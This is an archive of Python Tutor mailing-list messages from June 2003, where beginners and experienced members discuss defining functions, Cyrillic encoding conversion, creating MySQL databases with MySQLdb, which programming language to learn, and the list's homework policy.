Subject: [Tutor] Creation of function
In-Reply-To: <NBEHJBEKFMHNFJKOHIOAMEMNCJAA.willblake@wanadoo.fr>
Message-ID: <5.2.1.1.0.20030616114840.01ea4770@www.thinkware.se>

At 09:00 2003-06-16 +0200, Guillaume wrote:
>Hi,
>Is it possible to create whatever
>functions I want (thanx to def)

Yes.

>or are there a limited library of functions?

You can create whatever function you want as long as you only
want reasonable things. :)

There are a number of predefined functions; some that are
always available (unless you hide them by giving something
else their names), and more in standard or third party
modules that you can access by using the import statement.

Besides that, you can certainly create your own functions.

It's usually better to use a predefined function if there is
one that fits the bill, but as a Python programmer, you will
often define new functions.

I think most Python tutorials will show this, and I believe
you have said that you were reading Lutz & Ascher's "Learning
Python". Chapter 4 is all about functions.

Lutz and Ascher assume some prior programming experience though.
If this is all new to you, Alan Gauld's book and his web site
might be a better choice.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From willblake@wanadoo.fr  Mon Jun 16 08:54:01 2003
From: willblake@wanadoo.fr (Guillaume RAIMONDEAU)
Date: Mon Jun 16 07:54:01 2003
Subject: [Tutor] Creation of function
Message-ID: <25721341.1055764369468.JavaMail.www@wwinf0401>

Thanx I'm waiting the 2d edition of the book (so that i could read it in Am=
erican and not in french:)
As far as M.Gauld course i'm translating it so ...that's well:))
Thanx


> Message du 16/06/03 12:02
> De : Magnus Lyck=E5 <magnus@thinkware.se>
> A : debutant@linux-mandrake.com, tutor@python.org
> Copie =E0 :=20
> Objet : Re: [Tutor] Creation of function
> At 09:00 2003-06-16 +0200, Guillaume wrote:
> >Hi,
> >Is it possible to create whatever
> >functions I want (thanx to def)
>=20
> Yes.
>=20
> >or are there a limited library of functions?
>=20
> You can create whatever function you want as long as you only
> want reasonable things. :)
>=20
> There are a number of predefined functions; some that are
> always available (unless you hide them by giving something
> else their names), and more in standard or third party
> modules that you can access by using the import statement.
>=20
> Besides that, you can certainly create your own functions.
>=20
> It's usually better to use a predefined function if there is
> one that fits the bill, but as a Python programmer, you will
> often define new functions.
>=20
> I think most Python tutorials will show this, and I believe
> you have said that you were reading Lutz & Ascher's "Learning
> Python". Chapter 4 is all about functions.
>=20
> Lutz and Ascher assume some prior programming experience though.
> If this is all new to you, Alan Gauld's book and his web site
> might be a better choice.
>=20
>=20
> --
> Magnus Lycka (It's really Lyck=E5), magnus@thinkware.se
> Thinkware AB, Sweden, www.thinkware.se
> I code Python ~ The Agile Programming Language=20
>=20
>=20
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>


From shad@mail.kubtelecom.ru  Mon Jun 16 09:19:02 2003
From: shad@mail.kubtelecom.ru (Denis Dzyubenko)
Date: Mon Jun 16 08:19:02 2003
Subject: [Tutor] encodings
References: <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se>
 <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se>
 <5.2.1.1.0.20030614225808.01fb3a48@www.thinkware.se>
Message-ID: <87wufm8bbe.fsf@mail.kubtelecom.ru>

On Sat, 14 Jun 2003 23:30:20 +0200,
 Magnus Lyck(ML) wrote to me:

ML> Clearer now?

Yes, now it is clear.

ML> Use type() to check what type you have in each situation.

>> >>> s =3D u"abc=C1=C2=D7"
>> >>> s.encode('cp1251')
>>Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>>   File "/usr/lib/python2.1/encodings/cp1251.py", line 18, in encode
>>     return codecs.charmap_encode(input,errors,encoding_map)
>>UnicodeError: charmap encoding error: character maps to <undefined>

ML> That means that your unicode string contains values that CP1251
ML> can't present. Does "print s" produce the output you would expect?

no, 'print s' prodices error:
'UnicodeError: ASCII encoding error: ordinal not in range(128)'

ML> How does it look if you do "print s"? Does it look like cyrillic?
ML> what about "print repr(s)". Are all values in the correct range?

now, values are not listed in the link you gave me
(http://www.oasis-open.org/docbook/xmlcharent/0.3/iso-cyr1.ent)

>>ML> txt.decode('koi8-r').encode('cp1251')
>>
>> >>> txt.decode('koi8-r')
>>Traceback (most recent call last):
>>   File "<stdin>", line 1, in ?
>>AttributeError: decode

ML> That means that txt is not an object of type string. If it's

>>> txt =3D "=C1=C2=D7"
>>> type(txt)
<type 'string'>
>>> txt.decode("koi8-r")
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
AttributeError: decode

and dir(txt) doesn't contain attribute 'decode'

ML> Look here:

 >>>> u =3D u'\u042F\u042B\u042C'

ML> Now we have a unicode representaion with three
ML> cyrillic letters. You should be able to do
ML> "print u" and see something reasonable. I start

no, I can't see anything reasonable:

>>> u =3D u'\u042F\u042B\u042C'
>>> u
u'\u042f\u042b\u042c'
>>> print u

Traceback (most recent call last):
  File "<stdin>", line 1, in ?
UnicodeError: ASCII encoding error: ordinal not in range(128)

ML> If you still have problems, look at the error handling issues
ML> I wrote about.

sorry, I still can't understand source of my problems :(

--=20
Denis.


From charlie@begeistert.org  Mon Jun 16 09:48:02 2003
From: charlie@begeistert.org (Charlie Clark)
Date: Mon Jun 16 08:48:02 2003
Subject: [Tutor] A rant about Tutor homework policy
In-Reply-To: <20030616084003.32028.5889.Mailman@mail.python.org>
References: <20030616084003.32028.5889.Mailman@mail.python.org>
Message-ID: <20030616144902.1274.3@wonderland.1055759684.fake>

On 2003-06-16 at 10:40:03 [+0200], tutor-request@python.org wrote:
> That's true, and considering the quality of the quality of this list, I 
> think my post generated more noise that it was worth.

Wouldn't agree with that. The responses have been very interesting although 
the overwhelming moral tone surprised me somewhat. My answer would have 
been: this is the tutor mailing list not the homework one, please feel free 
to set one up. I used to let people copy from me at school.

Let me reject citing moral grounds for not doing homework by quoting from 
the bible: "Give a man fish and he has food for a day. Teach him to fish 
and he has food for life." This has practical implications far beyond 
homework: it is now widely acknowledged that foreign (food) aid to Africa 
is responsible for some of the food crises as it encourages dependency. 
Problem solving cannot be copied.

I've benefitted enormously from this list and try to help others myself 
when I can. The emphasis on identifying the problem to be solved first and 
then solving this problem is perfect.

Thanx to you all.

Charlie


From decibelshelp@charter.net  Mon Jun 16 11:37:01 2003
From: decibelshelp@charter.net (Decibels)
Date: Mon Jun 16 10:37:01 2003
Subject: [Tutor] Create new MySQL database from user input.
In-Reply-To: <3EEDB8BE.6060500@venix.com>
References: <5.2.1.1.0.20030615003811.01f9f238@www.thinkware.se> <200306152211.09792.decibelshelp@charter.net> <3EEDB8BE.6060500@venix.com>
Message-ID: <200306160936.30480.decibelshelp@charter.net>

That worked! I am positive that is one of the ones I tried. I was up several
hours after sending the help request and must have had some typo.

cursor.execute ("CREATE DATABASE %s" % (DBName))
print "Database Created"
cursor.execute ("USE %s" % (DBName))

Finally got these results:

$  python stockpicker6.py --db test
database will be called test
DB doesn't exist. Going to Create it.
Database Created
Creating test Tables
Creating Table portfolio
Creating Table stockinfo
Creating Table stockhistory
,......

> Paul DuBois' book on MySQL is pretty good, though lacking Python coverage.
> MySQLdb is not well documented, but generally follows the db-API.2 spec
> from the python db-sig.  The source code is readable.

 Probably going to have to break down and get me a MySQL book also. But that is the problem
I am having even with the web, is lack of MySQLdb documentation.  

 At least with the stumblers you guys have helped me over and what else I have done. The program
is functional. The database is created, tables created and filled with starter information.  Error checking
might have to be increased, so it spits out useful information. So far so good.

Thanks a lot. Maybe I will finally actually accomplish this.

Dave





On Monday 16 June 2003 07:31 am, you wrote:
> cursor.execute ("CREATE DATABASE %s" (DBName))
>                                     ^^^^
> cursor.execute ("CREATE DATABASE %s", (DBName))
>
> Not tested, but I think that is right.  The MySQLdb module will make the
> substitutions into the %s place holders for you from the second argument
> back into the first argument.  For this case, it would also be quite
> reasonable to build the string yourself in python
> 	cursor.execute ("CREATE DATABASE %s" % (DBName))
>
> Paul DuBois' book on MySQL is pretty good, though lacking Python coverage.
> MySQLdb is not well documented, but generally follows the db-API.2 spec
> from the python db-sig.  The source code is readable.
>




From decibelshelp@charter.net  Mon Jun 16 11:40:02 2003
From: decibelshelp@charter.net (Decibels)
Date: Mon Jun 16 10:40:02 2003
Subject: [Tutor] Create new MySQL database from user input.
Message-ID: <200306160938.43173.decibelshelp@charter.net>

That worked! I am positive that is one of the ones I tried. I was up several
hours after sending the help request and must have had some typo.

cursor.execute ("CREATE DATABASE %s" % (DBName))
print "Database Created"
cursor.execute ("USE %s" % (DBName))

Finally got these results:

$  python stockpicker6.py --db test
database will be called test
DB doesn't exist. Going to Create it.
Database Created
Creating test Tables
Creating Table portfolio
Creating Table stockinfo
Creating Table stockhistory
,......

> Paul DuBois' book on MySQL is pretty good, though lacking Python coverage.
> MySQLdb is not well documented, but generally follows the db-API.2 spec
> from the python db-sig.  The source code is readable.

 Probably going to have to break down and get me a MySQL book also. But that is the problem
I am having even with the web, is lack of MySQLdb documentation.  

 At least with the stumblers you guys have helped me over and what else I have done. The program
is functional. The database is created, tables created and filled with starter information.  Error checking
might have to be increased, so it spits out useful information. So far so good.

Thanks a lot. Maybe I will finally actually accomplish this.

Dave


On Monday 16 June 2003 07:31 am, you wrote:
> cursor.execute ("CREATE DATABASE %s" (DBName))
>                                     ^^^^
> cursor.execute ("CREATE DATABASE %s", (DBName))
>
> Not tested, but I think that is right.  The MySQLdb module will make the
> substitutions into the %s place holders for you from the second argument
> back into the first argument.  For this case, it would also be quite
> reasonable to build the string yourself in python
>       cursor.execute ("CREATE DATABASE %s" % (DBName))
>
> Paul DuBois' book on MySQL is pretty good, though lacking Python coverage.
> MySQLdb is not well documented, but generally follows the db-API.2 spec
> from the python db-sig.  The source code is readable.
>



From tutor@python.org  Mon Jun 16 12:16:08 2003
From: tutor@python.org (Rob McGee)
Date: Mon Jun 16 11:16:08 2003
Subject: [Tutor] languages
In-Reply-To: <000e01c333c6$8525e420$c49780d1@vvernon>
References: <000e01c333c6$8525e420$c49780d1@vvernon>
Message-ID: <20030616151516.GF2330@obrien.1984.lan>

On Sun, Jun 15, 2003 at 10:16:50PM -0700, Vernon  Miller wrote:
> I learned this past week, that since I am disabled the state rehab
> service will pay for me to learn a computer language. The school
> [snip]
> I am not giving up on python, I am still studying it every day. But,

That's the real way to learn. It sounds nice that someone else will pay
(with stolen money) for you to take a course, but do you expect that
course to help you in some way? I don't.

Even if you have a very good teacher, which I do not think is likely,
your access to that teacher will be very limited. Here on the 'Net you
have much greater access to great programmers, who have achieved great
things in the real world. And BY DESIGN, formal classroom "education"
limits your progress.

I don't expect that school to employ good teachers, simply because their
course offerings betray a lack of clue. COBOL and A+? Where are Perl and
Python?

It is a sad reality in today's economy that the vast majority of the
money/jobs are controlled by clueless people who would prefer to hire an
incompetent with credentials over a self-taught genius. But they're not
going to want someone with a trade-school diploma in Java -- they will
demand CS degrees.

It's never much fun working for clueless bosses, BTW. It's always better
to work with bosses and companies which are focused on results. I spent
about 6 years in work that I hated: never again.

Four years in college "studying" programming at best is a wash. Buy a
comfortable office chair, position it in front of a computer with an
Internet connection (don't neglect the ergonomic considerations!) and
sit there and work. In a year's time you'll be far more capable than
someone who went to college ... unless of course the college student
spent all his spare time in HIS comfortable chair.[1]

> I think I would have a better chance of actually learning Python if I
> could get a better idea of language and syntax, which I think I could
> get through learning one of these languages. 

I think you'll grasp it sooner by reading and playing with python code,
and by asking questions here and in IRC.

Good luck,
    Rob - /dev/rob0


[1] Hmmm, the comfy chair? I didn't expect the Spanish Inquisition![2]

[2] NOBODY expects the Spanish Inquisition!


From tutor@python.org  Mon Jun 16 12:31:02 2003
From: tutor@python.org (Rob McGee)
Date: Mon Jun 16 11:31:02 2003
Subject: [Tutor] file eats first character, film at 11
In-Reply-To: <3EEB5034.4060808@netzero.net>
References: <3EEB5034.4060808@netzero.net>
Message-ID: <20030616153038.GG2330@obrien.1984.lan>

On Sat, Jun 14, 2003 at 12:41:24PM -0400, Kirk Bailey wrote:
> ok, I wrote a program to strip out the ms-dos CRLF charpair, replacing with 
> a single \n char. Works fine.

I think you're using a chainsaw where a weed-whacker would be more
appropriate. Slackware Linux comes with a pair of little C programs,
fromdos and todos, which do this, so that's the chainsaw I use. :) But
it can also be done with a simple "tr" weed-whacker command:
    tr -d '\015\032' < dosfile > unixfile

    Rob - /dev/rob0


From idiot1@netzero.net  Mon Jun 16 12:58:05 2003
From: idiot1@netzero.net (Kirk Bailey)
Date: Mon Jun 16 11:58:05 2003
Subject: [Tutor] file eats first character, film at 11
References: <3EEB5034.4060808@netzero.net> <20030616153038.GG2330@obrien.1984.lan>
Message-ID: <3EEDE832.8050808@netzero.net>


Rob McGee wrote:
> On Sat, Jun 14, 2003 at 12:41:24PM -0400, Kirk Bailey wrote:
> 
>>ok, I wrote a program to strip out the ms-dos CRLF charpair, replacing with 
>>a single \n char. Works fine.
> 
> 
> I think you're using a chainsaw where a weed-whacker would be more
> appropriate. Slackware Linux comes with a pair of little C programs,
> fromdos and todos, which do this, so that's the chainsaw I use. :) But
> it can also be done with a simple "tr" weed-whacker command:
>     tr -d '\015\032' < dosfile > unixfile
> 
thus speaks a un*x geek indeed, in the most complimentary sense of 'geek'.

But it teaches me nothing of python, which is my REAL goal.
Id does not do what I THOUGHT it would do; whyfore and howcome? My understanding needs 
to improve.

>     Rob - /dev/rob0
> 
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
> 
> 


-- 

end

Cheers!
         Kirk D Bailey
                               think
http://www.howlermonkey.net/ +-----+ http://www.tinylist.org/
http://www.listville.net/    | BOX | http://www.sacredelectron.org/
                              +-----+
"Thou art free"-ERIS          think    'Got a light?'-Promethieus

.



From dfinner@Kollsman.com  Mon Jun 16 13:05:08 2003
From: dfinner@Kollsman.com (dfinner@Kollsman.com)
Date: Mon Jun 16 12:05:08 2003
Subject: [Tutor] A rant about Tutor homework policy
Message-ID: <85256D47.00584E63.00@Notes.kollsman.com>


Just an observation - go to any list, any language, any app and you see exactly
the same phenomenon.  If it's an application specific site (as opposed to a
programming language site), the posts are 'URGENT - app broken, need to fix by
tonight or I don't get paid' kind of thing.  Responses fall into the same
categories as here - RTFM, go hire help, silence, flames, sometimes a complete
solution, sometimes a pointer to the answer.

If a forum or list is open and unproctored, one has to learn to live with posts
that are like fingernails on chalkboard (for all you whiteboard kiddies out
there, we used to write on boards that were really black with blocks made from
diatoms and dragging one's nails across the board created a really nasty sound).

The ONLY way to minimize these kinds of posts is for someone to proctor the list
and pre-filter all posts.  FAQ's, welcome to the list messages, etiquette links,
gentle reminders, flame threads J U S T   D O   N O T   W O R K.   There was a
great Larson cartoon some years ago of a child attempting to enter a School for
the Gifted by pushing on the door while apparently ignoring the huge 'PULL' sign
just over his hand.   My personal choice is for an unfiltered discussion; let me
decide where and what to ignore.

For those of you who post a lot and have some intellectual ownership in the
content of this list, I invite you to join the Don Quixote Society for Frequent
Posters - may you forever tilt at windmills in the quest for the perfect list
;-)

My thanks to those of you who qualify for the moniker of 'Sir PostsALot', may
your tribe increase.

Doug


...Since this popped up right now, after a certain email,
it's possible that someone is feeling targeted right now,
but this is a general problem, both in this mailing list,
in the internet at large and in education in general.

This is not about any particular person, and while examples
can be helpful, ...




From ATrautman@perryjudds.com  Mon Jun 16 13:11:42 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Mon Jun 16 12:11:42 2003
Subject: [Tutor] languages
Message-ID: <06738462136C054B8F8872D69DA140DB0107F8@corp-exch-1.pjinet.com>


-----Original Message-----
From: Sean 'Shaleh' Perry [mailto:shalehperry@attbi.com]
Sent: Monday, June 16, 2003 1:52 AM
To: tutor@python.org
Subject: Re: [Tutor] languages


On Sunday 15 June 2003 22:16, Vernon Miller wrote:
> I learned this past week, that since I am disabled the state rehab service
> will pay for me to learn a computer language. The school that they
normally
> deal with teaches;
>
> Java
> Visual Basic Net
> Basic
> Cobol
> Visual C++
> A+  ;
> I know almost nothing about any of them, so I would appreciate it if you
> all would give me some advice on which would be better. I am personally
> leaning towards either C++ or Basic. Help me if you can.
>


I guess I would rank them based on recent job looking but you should check
with area recruiters for where you live.

1. VB .NET partially because you can learn Crystal Reports and might have a
bigger market writing reports right now and (arguably) is the most common
language in use right now. PS I hate working in it but they pay me.

2. Java as IBM seems to be making inroads but check with a local recruiter
is Visual C++ is dominant in your area it might be better.

3. COBOL if you have insurance firms in the area. COBOL dominates insurance
and some large retailers (**get, **mart) is for sure. 

4. Visual C++ especially if  .NET and you can get a couple of years worth of
training as it is the hardest/most powerful but you'll learn Visual Studio
which may be of more value. 

A+ get a book everything is so standardized very few people are repairing
complex PC problems ($600 gets new PC and it doesn't take much to exceed
that in labour costs and parts)

Basic don't waste your time your resume won't get read.



From bri.wood@ntlworld.com  Mon Jun 16 14:43:04 2003
From: bri.wood@ntlworld.com (bri.wood)
Date: Mon Jun 16 13:43:04 2003
Subject: [Tutor] Raw Image Format
Message-ID: <3EEE0182.4090703@ntlworld.com>

Hi, I'm new to python (waiting for Learning Python to be delivered from 
Amazon), but I have used it to post-process some images for a povray 
animation.
Now my question, is there any way to get python to save an image in the 
raw format? I've looked through PIL and Imagemagick, but these don't 
seem to support the raw format.

Thanks for your time.

Bri



From malex@tagancha.org  Mon Jun 16 14:52:13 2003
From: malex@tagancha.org (Alex. M)
Date: Mon Jun 16 13:52:13 2003
Subject: [Tutor] encodings
In-Reply-To: <87wufm8bbe.fsf@mail.kubtelecom.ru>
References: <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se> <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se> <5.2.1.1.0.20030614225808.01fb3a48@www.thinkware.se> <87wufm8bbe.fsf@mail.kubtelecom.ru>
Message-ID: <20030616175048.GB6928@purdue.edu>

Denis,

I run a Debian 3.0 system with python 2.2 and need to handle cyrillic
character conversion between koi8-r and cp1251 to generate some html as
well. Let's see if I can make it clearer for you as it works for me just
fine.

* Denis Dzyubenko <shad@mail.kubtelecom.ru> [2003-06-16 16:19:01 +0400]:

> On Sat, 14 Jun 2003 23:30:20 +0200,
>  Magnus Lyck(ML) wrote to me:
>=20
> ML> Clearer now?
>=20
> Yes, now it is clear.
>=20
> ML> Use type() to check what type you have in each situation.
>=20
> >> >>> s =3D u"abc=C1=C2=D7"
> >> >>> s.encode('cp1251')
> >>Traceback (most recent call last):
> >>   File "<stdin>", line 1, in ?
> >>   File "/usr/lib/python2.1/encodings/cp1251.py", line 18, in encode
> >>     return codecs.charmap_encode(input,errors,encoding_map)
> >>UnicodeError: charmap encoding error: character maps to <undefined>
>=20
> ML> That means that your unicode string contains values that CP1251
> ML> can't present. Does "print s" produce the output you would expect?
>=20
> no, 'print s' prodices error:
> 'UnicodeError: ASCII encoding error: ordinal not in range(128)'

Denis. If you are coming from s =3D u"abc=C1=C2=D7" instead of=20
sk =3D 'abc=C1=C2=D7'; usk =3D sk.decode('koi8-r'); s =3D usd.encode('koi=
8-r') (or
'cp1251'), then use "print s.encode('iso8859_15')"

It is easier, though (at least to me) to come from koi8-r, then do that
straightforward conversion through unicode to cp1251 as Magnus already
pointed out for you.

Just to reiterate (tabbed line shows output):

koistr =3D '=D0=D2=CF=D7=C5=D2=CB=C1'
koistr
    '\xd0\xd2\xcf\xd7\xc5\xd2\xcb\xc1'
print koistr
    =D0=D2=CF=D7=C5=D2=CB=C1
ukoistr =3D koistr.decode('koi8-r')
ukoistr
    u'\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430'
print ukoistr
    UnicodeError: ASCII encoding error: ordinal not in range(128)
koikoistr =3D ukoistr.encode('koi8-r')
koikoistr
    '\xd0\xd2\xcf\xd7\xc5\xd2\xcb\xc1'
print koikoistr
    =D0=D2=CF=D7=C5=D2=CB=C1
cpstr =3D ukoistr.encode('cp1251')
cpstr
    '\xef\xf0\xee\xe2\xe5\xf0\xea\xe0'
print cpstr
    =EF=F0=EE=E2=E5=F0=EA=E0
cat >> test
=EF=F0=EE=E2=E5=F0=EA=E0
<Ctrl-D>
konwert cp1251-koi8r test
    =D0=D2=CF=D7=C5=D2=CB=C1

If you have any problems following this path please write to me
directly. It is probably not worth the firepower of this list to keep
iterating over such simple matter.

Regards,

Alex.

> ML> How does it look if you do "print s"? Does it look like cyrillic?
> ML> what about "print repr(s)". Are all values in the correct range?
>=20
> now, values are not listed in the link you gave me
> (http://www.oasis-open.org/docbook/xmlcharent/0.3/iso-cyr1.ent)
>=20
> >>ML> txt.decode('koi8-r').encode('cp1251')
> >>
> >> >>> txt.decode('koi8-r')
> >>Traceback (most recent call last):
> >>   File "<stdin>", line 1, in ?
> >>AttributeError: decode
>=20
> ML> That means that txt is not an object of type string. If it's
>=20
> >>> txt =3D "=C1=C2=D7"
> >>> type(txt)
> <type 'string'>
> >>> txt.decode("koi8-r")
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> AttributeError: decode
>=20
> and dir(txt) doesn't contain attribute 'decode'
>=20
> ML> Look here:
>=20
>  >>>> u =3D u'\u042F\u042B\u042C'
>=20
> ML> Now we have a unicode representaion with three
> ML> cyrillic letters. You should be able to do
> ML> "print u" and see something reasonable. I start
>=20
> no, I can't see anything reasonable:
>=20
> >>> u =3D u'\u042F\u042B\u042C'
> >>> u
> u'\u042f\u042b\u042c'
> >>> print u
>=20
> Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
> UnicodeError: ASCII encoding error: ordinal not in range(128)
>=20
> ML> If you still have problems, look at the error handling issues
> ML> I wrote about.
>=20
> sorry, I still can't understand source of my problems :(
>=20
> --=20
> Denis.
>=20
> _______________________________________________
> Tutor maillist  -  Tutor@python.org
> http://mail.python.org/mailman/listinfo/tutor
>=20


From alan.gauld@blueyonder.co.uk  Mon Jun 16 16:16:34 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun 16 15:16:34 2003
Subject: [Tutor] A rant about Tutor homework policy
References: <5.2.1.1.0.20030615111718.01eaf8f0@www.thinkware.se> <3EECD5BC.7060803@pooryorick.com>
Message-ID: <018901c3343b$cefabec0$6401a8c0@xp>

> That's true, and considering the quality of the quality of this
list, I
> think my post generated more noise that it was worth.
>
> Poor Yorick

Not at all, it is worthwhile revisiting the standards and motivations
behind a list. It acts as a sanity test that they are still valid
and a refresher for newer ones on why things are the way they are.

But we have probably done it to death now! :-)

Alan G



From alan.gauld@blueyonder.co.uk  Mon Jun 16 16:22:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun 16 15:22:02 2003
Subject: [Tutor] languages
References: <000e01c333c6$8525e420$c49780d1@vvernon>
Message-ID: <019901c3343c$9e8bf3c0$6401a8c0@xp>

Java
Visual Basic Net
Cobol
Visual C++

Any of the above could get you earning money.

> would have a better chance of actually learning Python if I
> could get a better idea of language and syntax, which I think
> I could get through learning one of these languages.

To the contrary, learning Python will be a greeat aid in learning
Java, Vis Basic (and Visual C++ to a slightly lesser degree). It
won't help much with COBOL which has a way all of its own!

All of them are likely to feel cumbersome and restrictive after
Python.
But the concepts should come much easier after experience of Python.

Alan G.



From alan.gauld@blueyonder.co.uk  Mon Jun 16 16:26:03 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun 16 15:26:03 2003
Subject: [Tutor] languages
References: <000e01c333c6$8525e420$c49780d1@vvernon> <200306152352.29040.shalehperry@attbi.com>
Message-ID: <019e01c3343d$289022d0$6401a8c0@xp>

>.... Cobol should be dead (old coders from the 70s keeping 
> it alive to stay employed).

Umm no sorry. It is still ythe language of choice on mainframes. 
When we built our new billing system for the new millenium it 
was 10,000,000 lines of Cobol and about 10,000 lines of Smalltalk 
for the GUI.

Cobol is still the most widely used language for new projects 
according to a 2001 study I saw (Computing Weekly and Infoworld 
joint survey)

Much as I love Python I still spend more time than I'd like 
reading and specifying Cobol programs... And that's after we 
officially adopted Java for everything bar mainframes!

Alan G.


From alan.gauld@blueyonder.co.uk  Mon Jun 16 16:28:02 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun 16 15:28:02 2003
Subject: [Tutor] Creation of function
References: <NBEHJBEKFMHNFJKOHIOAMEMNCJAA.willblake@wanadoo.fr>
Message-ID: <01a301c3343d$641f5410$6401a8c0@xp>

> Is it possible to create whatever 
> functions I want (thanx to def) or
> are there a limited library of functions?

As many as you like so long as you don't run out 
of memory! If you keep them in a list you don't 
even need to worry about thinking up unique names! 

:-)

See my tutor page on functions for more info.

Alan G
Author of the Learn to Program web tutor
http://www.freenetpages.co.uk/hp/alan.gauld


From ATrautman@perryjudds.com  Mon Jun 16 16:31:46 2003
From: ATrautman@perryjudds.com (Alan Trautman)
Date: Mon Jun 16 15:31:46 2003
Subject: [Tutor] languages
Message-ID: <06738462136C054B8F8872D69DA140DB0107FF@corp-exch-1.pjinet.com>


-----Original Message-----
From: Alan Gauld [mailto:alan.gauld@blueyonder.co.uk]
Sent: Monday, June 16, 2003 2:26 PM
To: Sean 'Shaleh' Perry; tutor@python.org
Subject: Re: [Tutor] languages


>.... Cobol should be dead (old coders from the 70s keeping 
> it alive to stay employed).

Umm no sorry. It is still ythe language of choice on mainframes. 
When we built our new billing system for the new millenium it 
was 10,000,000 lines of Cobol and about 10,000 lines of Smalltalk 
for the GUI.

Cobol is still the most widely used language for new projects 
according to a 2001 study I saw (Computing Weekly and Infoworld 
joint survey)

Much as I love Python I still spend more time than I'd like 
reading and specifying Cobol programs... And that's after we 
officially adopted Java for everything bar mainframes!

Alan G.

More research as an old COBOL guy.
COBOL II is growing quickly as more and more text is collected about people.
More importantly people who know COBOL well are retiring and no one was
trained in the 90's so especially the defence industry in the US is
desperately trying to acquire COBOL programmers. **get corporation is
desperate enough to create enough COBOL programmers they have endowed
several teaching positions at U of Minnesota. 

Alan T.

_______________________________________________
Tutor maillist  -  Tutor@python.org
http://mail.python.org/mailman/listinfo/tutor


From alan.gauld@blueyonder.co.uk  Mon Jun 16 16:37:36 2003
From: alan.gauld@blueyonder.co.uk (Alan Gauld)
Date: Mon Jun 16 15:37:36 2003
Subject: [Tutor] languages
References: <000e01c333c6$8525e420$c49780d1@vvernon> <20030616151516.GF2330@obrien.1984.lan>
Message-ID: <01be01c3343e$83a6cfb0$6401a8c0@xp>

> I don't expect that school to employ good teachers, simply because
their
> course offerings betray a lack of clue. COBOL and A+? Where are Perl
and
> Python?

For a trade school COBOL is an excellent choice(as is VB.NET)
because those markets will employ people without degrees. In
fact in the UK the majority of COBOL programmers come through
that route. They program up the flowcharts (yes really!) that
the designers give them...

And Vis C++ just might get a very talented individual into a
games programming shop where again many of the employees are
self taught. Although with degrees in computer games now
available I expect that to change.

However the inclusion of A+ does make me wonder...

Alan G.



From magnus@thinkware.se  Mon Jun 16 17:22:20 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Mon Jun 16 16:22:20 2003
Subject: [Tutor] encodings
In-Reply-To: <87wufm8bbe.fsf@mail.kubtelecom.ru>
References: <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se>
 <5.2.1.1.0.20030613225247.01ef45c0@www.thinkware.se>
 <5.2.1.1.0.20030614225808.01fb3a48@www.thinkware.se>
Message-ID: <5.2.1.1.0.20030616221638.01ea75a8@www.thinkware.se>

At 16:19 2003-06-16 +0400, Denis Dzyubenko wrote:
>On Sat, 14 Jun 2003 23:30:20 +0200,
>  Magnus Lyck(ML) wrote to me:
>
>ML> Clearer now?
>
>Yes, now it is clear.

But not solved... :(

>no, 'print s' prodices error:
>'UnicodeError: ASCII encoding error: ordinal not in range(128)'

Are you doing this in IDLE? IDLE has problems with non-ASCII
strings. Try using the plain interpreter, or run scripts.

> >>> txt =3D "=C1=C2=D7"
> >>> type(txt)
><type 'string'>
> >>> txt.decode("koi8-r")
>Traceback (most recent call last):
>   File "<stdin>", line 1, in ?
>AttributeError: decode
>
>and dir(txt) doesn't contain attribute 'decode'

Are you by any chance using an old version of Python?
Decode is new in 2.2. But I guess you can do this instead.

unicode(txt, 'koi8-r')


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language=20



From magnus@thinkware.se  Mon Jun 16 17:47:02 2003
From: magnus@thinkware.se (Magnus =?iso-8859-1?Q?Lyck=E5?=)
Date: Mon Jun 16 16:47:02 2003
Subject: [Tutor] languages
In-Reply-To: <01be01c3343e$83a6cfb0$6401a8c0@xp>
References: <000e01c333c6$8525e420$c49780d1@vvernon>
 <20030616151516.GF2330@obrien.1984.lan>
Message-ID: <5.2.1.1.0.20030616223713.01e9faf8@www.thinkware.se>

At 20:35 2003-06-16 +0100, Alan Gauld wrote:
>For a trade school COBOL is an excellent choice(as is VB.NET)
>because those markets will employ people without degrees. In
>fact in the UK the majority of COBOL programmers come through
>that route. They program up the flowcharts (yes really!) that
>the designers give them...

Are you a programmer then, or just a high level compiler? :)

Sadly, many management people still see programmers like that,
as some kind of follow-up of the ladies that sat in long rows
during WWII, summing up numbers to create ballistic trajectory
tables. (BTW, these ladies were called "computers", before
machines took over both the role and the name.)

Although I think most programmers are taking part in the actual
development and creation of the software more than a conversion
from flowcharts to COBOL, I guess that kind of programming might
still be a better job than many others, and certainly better
than nothing, which is a reasonable comparision these days...

>And Vis C++ just might get a very talented individual into a
>games programming shop where again many of the employees are
>self taught. Although with degrees in computer games now
>available I expect that to change.

We'll see. It seems to me that the "entertainment industry"
is replacing the military as the forefront of technical
development. That is certain to attract lots of big business,
but I'm still not sure professionalism will beat enthusiasm
in creating bestselling games.


--
Magnus Lycka (It's really Lyck&aring;), magnus@thinkware.se
Thinkware AB, Sweden, www.thinkware.se
I code Python ~ The Agile Programming Language 



From shad@mail.kubtelecom.ru  Mon Jun 16 18:03:01 2003
From: shad@mail.kubtelecom.ru (Denis Dzyubenko)
